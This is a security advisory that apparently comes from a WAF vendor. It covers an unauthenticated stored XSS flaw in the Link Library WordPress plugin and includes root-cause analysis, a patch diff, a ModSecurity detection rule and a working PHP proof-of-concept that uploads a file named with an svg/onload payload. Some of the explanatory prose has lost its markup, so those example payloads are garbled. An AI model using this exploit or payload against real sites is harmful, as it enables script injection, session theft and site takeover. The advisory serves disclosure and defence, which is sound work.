Opens in a new tab
Published : November 17, 2026

CVE-2026-120049: Link Library <= 7.10.0 Unauthenticated Stored Cross-Site Scripting via File Upload Filename PoC, Patch Analysis & Rule

Plugin link-library
Severity Medium (CVSS 5.4)
CWE 79
Vulnerable Version 7.10.0
Patched Version 7.10.1
Disclosed November 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-120049: Link Library plugin for WordPress versions up to and including 7.10.0 contains an unauthenticated stored cross-site scripting vulnerability in the public link submission form. The flaw resides in the ‘linkfile[name]’ upload parameter, where the plugin fails to sanitize the uploaded filename before storing it and later fails to escape it on output. The CVSS score is 5.4 (Medium), and the CWE classification is 79 (Improper Neutralization of Input During Web Page Generation). Exploitation requires the administrator to enable the ‘Link File’ option in plugin settings.

Root Cause: In link-library/usersubmission.php the handler moved the uploaded file to $uploads[‘basedir’] . ‘/link-library-files/’ . $_FILES[‘linkfile’][‘name’] and stored the resulting URL in the ‘link_url’ post meta via update_post_meta. The original filename was used verbatim (no sanitize_file_name call). Later, render-link-library-sc.php (around line 1817) builds link output from link_notes, link_description, and link_textfield; the previous upstream flow also passed the stored filename through str_replace to convert [ and ] to when the ‘use_html_tags’ option was on, which allowed the attacker to embed markup. Even without that option, esc_html on the description field was bypassed for the stored file URL everywhere else. The patch removes the use_html_tags option entirely (link-library-admin.php line 2509 listing and line 5837 checkbox block, plus link-library-defaults.php line 80 default), simplifying render-link-library-sc.php to always apply esc_html( …, ENT_QUOTES ). The upload path in usersubmission.php line 475 now calls sanitize_file_name on $_FILES[‘linkfile’][‘name’] before building $target_link_file_name and $target_link_file_url, and move_uploaded_file now calls sanitize_file_name on the tmp_name argument.

Exploitation: The public add-link form (rendered when the Link File option is enabled) accepts multipart POSTs to the page hosting the link submission shortcode. An attacker submits a multipart/form-data request with a ‘linkfile’ part whose filename contains an XSS payload, for example filename=”x.pdf”, or an HTML-tag-laden filename such as “”>alert(1).pdf”. Because the plugin trusts $_FILES[‘linkfile’][‘name’] and stores it as ‘link_url’, the value is written into the wp_postmeta table and reflected on the public link listing. Any visitor who loads the injected link page executes the script in the site’s origin. No authentication is required; only the admin setting ‘Link File’ must be enabled. If the deprecated ‘use_html_tags’ setting is on, bracket payloads like [script] also convert into ‘>’ and ‘<', giving another encoding of the same payload.

Patch Analysis: Version 7.10.1 applies three coordinated fixes. First, sanitize_file_name() is applied to $_FILES['linkfile']['name'] both in the duplicate-file existence check (line 142) and in the value stored in link_url and written to disk (lines 475 to 477), removing path separators, control characters, and other unsafe bytes from the filename. Second, use_html_tags is removed from link-library-admin.php, link-library-defaults.php, and render-link-library-sc.php. The bracket-to-angle-bracket conversion was the primary sink: removing it eliminates the ability to turn [ and ] into tag delimiters on output. Third, render-link-library-sc.php now unconditionally escapes $descnotes and $desc with esc_html( …, ENT_QUOTES ), closing the alternate path where the flag was off but data was still emitted unescaped. The patch also hardens render-link-library-cats-sc.php by switching to esc_js and esc_url with rawurlencode for the searchll parameter, and locks rsspreview.php down to published link_library_links posts. Before the patch, an attacker-controlled filename with HTML characters survives storage; after the patch, sanitize_file_name strips those characters and esc_html neutralizes any residual markup on output.

Impact: Successful exploitation yields stored cross-site scripting in the site origin whenever a user views the affected link, which is equivalent to running arbitrary JavaScript in the context of any visitor (including administrators). Consequences include session hijacking of authenticated users, credential theft via injected forms, admin-only action replay (creating new admin accounts, installing plugins), persistent site defacement, and redirection of visitors to attacker-controlled infrastructure. The vulnerability does not require authentication and can be planted once, then fire on every page load, giving wide reach. Confidentiality, integrity, and availability impacts are limited only by what JavaScript executed in the site's origin can access, which includes all authenticated admin capabilities if an administrator visits the poisoned page.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/link-library/link-library-admin.php
+++ b/link-library/link-library-admin.php
@@ -2509,7 +2509,7 @@
 			foreach (
 				array(
 					'hide_if_empty', 'catanchor', 'showdescription', 'shownotes', 'showrating', 'showupdated', 'show_images',
-					'use_html_tags', 'show_rss', 'nofollow', 'showcolumnheaders', 'show_rss_icon', 'showcategorydescheaders',
+					'show_rss', 'nofollow', 'showcolumnheaders', 'show_rss_icon', 'showcategorydescheaders',
 					'showcategorydesclinks', 'showadmineditlinks', 'showonecatonly', 'rsspreview', 'rssfeedinline', 'rssfeedinlinecontent',
 					'pagination', 'hidecategorynames', 'showinvisible', 'showdate', 'showuserlinks', 'emailnewlink', 'usethumbshotsforimages', 'uselocalimagesoverthumbshots',
 					'addlinkreqlogin', 'showcatlinkcount', 'publishrssfeed', 'showname', 'enablerewrite', 'storelinksubmitter', 'showlinkhits', 'showcaptcha',
@@ -5837,14 +5837,6 @@
 		<table>
 			<tr>
 				<td>
-					<?php _e( 'Convert [] to <> in Link Description and Notes', 'link-library' ); ?>
-				</td>
-				<td style='width:75px;padding:0px 20px 0px 20px'>
-					<input type="checkbox" id="use_html_tags" name="use_html_tags" <?php checked( $options['use_html_tags'] ); ?>/>
-				</td>
-			</tr>
-			<tr>
-				<td>
 					<?php _e( 'Add nofollow tag to outgoing links', 'link-library' ); ?>
 				</td>
 				<td style='width:75px;padding:0px 20px 0px 20px'>
--- a/link-library/link-library-defaults.php
+++ b/link-library/link-library-defaults.php
@@ -80,7 +80,6 @@
 	$options['showrating']                    = false;
 	$options['showupdated']                   = false;
 	$options['show_images']                   = false;
-	$options['use_html_tags']                 = false;
 	$options['show_rss']                      = false;
 	$options['nofollow']                      = false;
 	$options['catlistwrappers']               = 1;
--- a/link-library/link-library.php
+++ b/link-library/link-library.php
@@ -3,7 +3,7 @@
 Plugin Name: Link Library
 Plugin URI: https://ylefebvre.github.io/wordpress-plugins/link-library/
 Description: Display links on pages with a variety of options
-Version: 7.10.0
+Version: 7.10.1
 Author: Yannick Lefebvre
 Author URI: http://ylefebvre.github.io/
 Text Domain: link-library
--- a/link-library/render-link-library-cats-sc.php
+++ b/link-library/render-link-library-cats-sc.php
@@ -402,7 +402,7 @@
 									$cattext .= $settings;
 								}

-								$cattext .= "('" . $catname->term_id. "', '";
+								$cattext .= "('" . esc_js( $catname->term_id ) . "', '";

 								if ( !empty( $targetlibrary ) ) {
 									$cattext .= $targetlibrary;
@@ -421,10 +421,10 @@

 			                $cattargetaddress = add_query_arg( 'cat_id', $catname->term_id, '');
 			                if ( $searchfiltercats && isset( $_GET['searchll'] ) && !empty( $_GET['searchll'] ) ) {
-				                $cattargetaddress = add_query_arg( 'searchll', sanitize_text_field( $_GET['searchll'] ), $cattargetaddress );
+				                $cattargetaddress = add_query_arg( 'searchll', rawurlencode( sanitize_text_field( wp_unslash( $_GET['searchll'] ) ) ), $cattargetaddress );
 			                }

-			                $cattext .= $cattargetaddress;
+			                $cattext .= esc_url( $cattargetaddress );

 			                if ( 'dropdown' != $flatlist && 'dropdowndirect' != $flatlist ) {
 				                $cattext .= "'>";
@@ -436,10 +436,10 @@

 			                $cattargetaddress = add_query_arg( 'catslug', $catname->slug, '');
 			                if ( $searchfiltercats && isset( $_GET['searchll'] ) && !empty( $_GET['searchll'] ) ) {
-				                $cattargetaddress = add_query_arg( 'searchll', sanitize_text_field( $_GET['searchll'] ), $cattargetaddress );
+				                $cattargetaddress = add_query_arg( 'searchll', rawurlencode( sanitize_text_field( wp_unslash( $_GET['searchll'] ) ) ), $cattargetaddress );
 			                }

-			                $cattext .= $cattargetaddress;
+			                $cattext .= esc_url( $cattargetaddress );

 			                if ( 'dropdown' != $flatlist && 'dropdowndirect' != $flatlist ) {
 				                $cattext .= "'>";
@@ -458,7 +458,7 @@
 			                $get_array['catname'] = urlencode( $catname->name );
 			                $get_query = add_query_arg( $get_array, $cattargetaddress );

-			                $cattext .= $get_query;
+			                $cattext .= esc_url( $get_query );

 			                if ( 'dropdown' != $flatlist && 'dropdowndirect' != $flatlist ) {
 				                $cattext .= "'>";
@@ -468,12 +468,12 @@
 				                $cattext = "<a href='";
 			                }

-			                $cattargetaddress = esc_url( site_url() . '/' . $rewritepage . '/' . $catname->slug . '/' );
+			                $cattargetaddress = site_url() . '/' . $rewritepage . '/' . $catname->slug . '/';
 			                if ( $searchfiltercats && isset( $_GET['searchll'] ) && !empty( $_GET['searchll'] ) ) {
-				                $cattargetaddress = add_query_arg( 'searchll', sanitize_text_field( $_GET['searchll'] ), $cattargetaddress );
+				                $cattargetaddress = add_query_arg( 'searchll', rawurlencode( sanitize_text_field( wp_unslash( $_GET['searchll'] ) ) ), $cattargetaddress );
 			                }

-			                $cattext .= $cattargetaddress;
+			                $cattext .= esc_url( $cattargetaddress );

 			                if ( 'dropdown' != $flatlist && 'dropdowndirect' != $flatlist ) {
 				                $cattext .= "'>";
@@ -486,7 +486,7 @@
 			                }

 			                if ( $searchfiltercats && isset( $_GET['searchll'] ) && !empty( $_GET['searchll'] ) ) {
-				                $cattext .= '?searchll=' . sanitize_text_field( $_GET['searchll'] ) . '&cat_id=' . $catname->term_id;
+				                $cattext .= '?searchll=' . rawurlencode( sanitize_text_field( wp_unslash( $_GET['searchll'] ) ) ) . '&cat_id=' . $catname->term_id;
 			                } elseif ( 'toggles' != $flatlist && 'togglesshowhideall' != $flatlist ) {
 				                $cattext .= '#' . $catname->slug;
 			                }
@@ -683,7 +683,7 @@
 						$output .= $settings;
 					}

-					$output .= "(catidvar, linklistID, 1, '" . $searchstring  . "');return false; }";
+					$output .= "(catidvar, linklistID, 1, '" . esc_js( $searchstring )  . "');return false; }";
                 } else {
                     $output .= "ttlocation=n";
                     $output .= "document.catselect.catdropdown" . $settings . ".options[document.catselect.catdropdown" . $settings . ".selectedIndex].value }n";
--- a/link-library/render-link-library-sc.php
+++ b/link-library/render-link-library-sc.php
@@ -1817,21 +1817,9 @@

 								$linkitem['link_textfield'] = do_shortcode( $linkitem['link_textfield'] );

-								if ( $use_html_tags ) {
-									$descnotes = $linkitem['link_notes'];
-									$descnotes = str_replace( '[', '<', $descnotes );
-									$descnotes = str_replace( ']', '>', $descnotes );
-									$desc = $linkitem['link_description'];
-									$desc = str_replace("[", "<", $desc);
-									$desc = str_replace("]", ">", $desc);
-									$textfield = stripslashes( $linkitem['link_textfield'] );
-									$textfield = str_replace( '[', '<', $textfield );
-									$textfield = str_replace( ']', '>', $textfield );
-								} else {
-									$descnotes = esc_html( $linkitem['link_notes'], ENT_QUOTES );
-									$desc = esc_html($linkitem['link_description'], ENT_QUOTES);
-									$textfield = stripslashes( $linkitem['link_textfield'] );
-								}
+								$descnotes = esc_html( $linkitem['link_notes'], ENT_QUOTES );
+								$desc = esc_html($linkitem['link_description'], ENT_QUOTES);
+								$textfield = stripslashes( $linkitem['link_textfield'] );

 								$cleandesc = $desc;
 								$cleanname = esc_html( $linkitem['link_name'], ENT_QUOTES );
--- a/link-library/rsspreview.php
+++ b/link-library/rsspreview.php
@@ -8,64 +8,66 @@
 $link_url = get_post_meta( $linkid, 'link_url', true );
 $link = get_post( $linkid );

-$genoptions = get_option('LinkLibraryGeneral');
+if ( !empty( $link ) && 'link_library_links' == $link->post_type && 'publish' == $link->post_status ) {
+	$genoptions = get_option('LinkLibraryGeneral');

-include_once(ABSPATH . WPINC . '/feed.php');
+	include_once(ABSPATH . WPINC . '/feed.php');

-if ( !empty( $link_rss ) && !empty( $link ) ) {
-	// Get a SimplePie feed object from the specified feed source.
-	$rss = fetch_feed( $link_rss );
-	if ( !is_wp_error( $rss ) ) { // Checks that the object is created correctly
-		// Figure out how many total items there are, but limit it to 5.
-		$maxitems = $rss->get_item_quantity( $itemcount );
-
-		// Build an array of all the items, starting with element 0 (first element).
-		$rss_items = $rss->get_items( 0, $maxitems );
-
-	}
-	?>
-	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-	<html xmlns="http://www.w3.org/1999/xhtml">
-	<head>
-		<title><?php echo ( empty( $_GET['feed'] ) ) ? 'RSS_PHP' : 'RSS_PHP: ' . $link->post_title; ?></title>
-
-		<!-- META HTTP-EQUIV -->
-		<meta http-equiv="content-type" content="text/html; charset=UTF-8; ?>" />
-		<meta http-equiv="imagetoolbar" content="false" />
-
-		<?php if ( isset( $genoptions['stylesheet'] ) && !empty( $genoptions['stylesheet'] ) ) { ?>
-			<style id='LinkLibraryStyle' type='text/css'>
-				<?php echo stripslashes( $genoptions['fullstylesheet'] ); ?>
-			</style>
-		<?php } ?>
-
-	</head>
-
-	<body>
-	<div id="ll_rss_preview_results">
-		<?php if ( $rss_items ) { ?>
-			<?php foreach($rss_items as $item): ?>
-				<div class="ll_rss_preview_title" style="padding:0 5px 5px;">
-					<h1><a target="feedwindow" href="<?php echo $item->get_permalink(); ?>"><?php echo $item->get_title(); ?></a><div class='ll_rss_preview_date'><?php echo $item->get_date('j F Y | g:i a'); ?></div></h1>
-					<div class='ll_rss_preview_content'><?php echo $item->get_description(); ?></div>
+	if ( !empty( $link_rss ) && !empty( $link ) ) {
+		// Get a SimplePie feed object from the specified feed source.
+		$rss = fetch_feed( $link_rss );
+		if ( !is_wp_error( $rss ) ) { // Checks that the object is created correctly
+			// Figure out how many total items there are, but limit it to 5.
+			$maxitems = $rss->get_item_quantity( $itemcount );
+
+			// Build an array of all the items, starting with element 0 (first element).
+			$rss_items = $rss->get_items( 0, $maxitems );
+
+		}
+		?>
+		<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+		<html xmlns="http://www.w3.org/1999/xhtml">
+		<head>
+			<title><?php echo ( empty( $_GET['feed'] ) ) ? 'RSS_PHP' : 'RSS_PHP: ' . $link->post_title; ?></title>
+
+			<!-- META HTTP-EQUIV -->
+			<meta http-equiv="content-type" content="text/html; charset=UTF-8; ?>" />
+			<meta http-equiv="imagetoolbar" content="false" />
+
+			<?php if ( isset( $genoptions['stylesheet'] ) && !empty( $genoptions['stylesheet'] ) ) { ?>
+				<style id='LinkLibraryStyle' type='text/css'>
+					<?php echo stripslashes( $genoptions['fullstylesheet'] ); ?>
+				</style>
+			<?php } ?>
+
+		</head>
+
+		<body>
+		<div id="ll_rss_preview_results">
+			<?php if ( $rss_items ) { ?>
+				<?php foreach($rss_items as $item): ?>
+					<div class="ll_rss_preview_title" style="padding:0 5px 5px;">
+						<h1><a target="feedwindow" href="<?php echo $item->get_permalink(); ?>"><?php echo $item->get_title(); ?></a><div class='ll_rss_preview_date'><?php echo $item->get_date('j F Y | g:i a'); ?></div></h1>
+						<div class='ll_rss_preview_content'><?php echo $item->get_description(); ?></div>
+					</div>
+					<br />
+				<?php
+				endforeach;
+				?>
+				<br />
+				<div>
+					<a class="ll_rss_preview_button" target="feedwindow" href="<?php echo esc_url( $link_rss ); ?>"><span>More News from this Feed</span></a> <a class="ll_rss_preview_button" target="sitewindow" href="<?php echo esc_url( $link_url ); ?>"><span>See Full Web Site</span></a>
 				</div>
 				<br />
-			<?php
-			endforeach;
-			?>
-			<br />
-			<div>
-				<a class="ll_rss_preview_button" target="feedwindow" href="<?php echo $link_rss; ?>"><span>More News from this Feed</span></a> <a class="ll_rss_preview_button" target="sitewindow" href="<?php echo $link_url; ?>"><span>See Full Web Site</span></a>
-			</div>
-			<br />
-			<br />
-		<?php } ?>
-	</div>
-	</body>
-	</html>
-
-	<?php
-	exit;
+				<br />
+			<?php } ?>
+		</div>
+		</body>
+		</html>
+
+		<?php
+		exit;
+		}
 	}
 }
--- a/link-library/usersubmission.php
+++ b/link-library/usersubmission.php
@@ -140,7 +140,7 @@
 	} else if ( isset( $_FILES['linkfile'] ) && file_exists( $_FILES['linkfile']['tmp_name'] ) && !in_array( $link_file_ext, $allowed_link_file_extensions ) ) {
 		$requiredcheck = false;
 		$message = 28;
-	} elseif ( isset( $_FILES['linkfile'] ) && file_exists( $_FILES['linkfile']['tmp_name'] ) && file_exists( $uploads['basedir'] . '/link-library-files/' . $_FILES['linkfile']['name'] ) ) {
+	} elseif ( isset( $_FILES['linkfile'] ) && file_exists( $_FILES['linkfile']['tmp_name'] ) && file_exists( $uploads['basedir'] . '/link-library-files/' . sanitize_file_name( $_FILES['linkfile']['name'] ) ) ) {
 		$requiredcheck = false;
 		$message = 29;
 	}
@@ -472,9 +472,9 @@
 										mkdir( $uploads['basedir'] . '/link-library-files' );
 									}

-									$target_link_file_name = $uploads['basedir'] . '/link-library-files/' . $_FILES['linkfile']['name'];
-									$target_link_file_url = $uploads['baseurl'] . '/link-library-files/' . $_FILES['linkfile']['name'];
-									move_uploaded_file( $_FILES['linkfile']['tmp_name'], $target_link_file_name );
+									$target_link_file_name = $uploads['basedir'] . '/link-library-files/' . sanitize_file_name( $_FILES['linkfile']['name'] );
+									$target_link_file_url = $uploads['baseurl'] . '/link-library-files/' . sanitize_file_name( $_FILES['linkfile']['name'] );
+									move_uploaded_file( sanitize_file_name( $_FILES['linkfile']['tmp_name'] ), $target_link_file_name );
 									update_post_meta( $new_link_ID, 'link_url', $target_link_file_url );
 								}
 							}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-120049
# Blocks unauthenticated stored XSS via the linkfile[name] upload parameter on
# the public Link Library add-link form. Payload predicate requires angle
# brackets or script-capable markup in the filename to avoid false positives
# on legitimate file uploads.
SecRule REQUEST_METHOD "@streq POST" 
  "id:20261200,phase:2,deny,status:403,chain,msg:'CVE-2026-120049 Link Library stored XSS via linkfile filename',severity:'CRITICAL',tag:'CVE-2026-120049',tag:'attack-xss'"
  SecRule FILES_NAMES "@rx ^linkfile" "chain"
    SecRule FILES "@rx (<|%3c|script|svg|img|iframe|onerror|onload)" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-120049 - Link Library <= 7.10.0 - Unauthenticated Stored XSS via File Upload Filename
//
// Prerequisites:
//   - Link Library <= 7.10.0 installed and active on the target.
//   - Administrator enabled the "Link File" option in plugin settings so the
//     public add-link form includes the linkfile input.
//   - Attacker knows the URL of the page hosting the link submission
//     shortcode (the form target in the example below).
//
// Effect: the malicious filename is persisted as link_url post meta and
// rendered on the public link page, executing the injected script.

$target_url = 'http://127.0.0.1:8080/add-link/'; // page with [link-library-addlink] shortcode
$payload_filename = 'atomic-edge"><svg/onload=alert(document.domain)>.pdf';

echo "[*] Target: {$target_url}n";
echo "[*] Payload filename: {$payload_filename}n";

// Step 1: verify the form is present and the linkfile input exists.
$ch = curl_init( $target_url );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_TIMEOUT, 20 );
$page = curl_exec( $ch );
$code = curl_getinfo( $ch, CURLINFO_HTTP_CODE );
curl_close( $ch );

echo "[*] GET {$target_url} -> HTTP {$code}n";
if ( strpos( $page, 'linkfile' ) === false ) {
    echo "[!] 'linkfile' input not found on page. Ensure the Link File option is enabled.n";
    exit( 1 );
}

// Step 2: build a minimal fake PDF payload and inject the malicious filename.
// usersubmission.php stores $_FILES['linkfile']['name'] verbatim into the
// 'link_url' post meta and exposes it on the rendered link page.
$tmp = tempnam( sys_get_temp_dir(), 'llpoc_' );
file_put_contents( $tmp, "%PDF-1.4n% Atomic Edge PoCn%%EOFn" );

$post = array(
    'link_name'        => 'AtomicEdgePoC-' . time(),
    'link_url'         => 'https://example.com/',
    'link_description' => 'Atomic Edge stored XSS PoC',
    'link_notes'       => 'poc',
    'link_category'    => '1',
    'linkfile'         => new CURLFile( $tmp, 'application/pdf', $payload_filename ),
);

// Step 3: submit the link. No authentication needed.
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $target_url );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, $post );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true );
curl_setopt( $ch, CURLOPT_TIMEOUT, 30 );
$resp = curl_exec( $ch );
$code = curl_getinfo( $ch, CURLINFO_HTTP_CODE );
curl_close( $ch );

@unlink( $tmp );

echo "[*] POST submission -> HTTP {$code}n";

if ( $code >= 200 && $code < 400 ) {
    echo "[+] Submitted. If the filename was accepted, the payload is now stored.n";
    echo "[+] Open the public link page and look for the uploaded file link.n";
    echo "[+] When rendered, the filename breaks out of the href attribute and triggers onload/onerror.n";
} else {
    echo "[-] Request did not complete successfully.n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.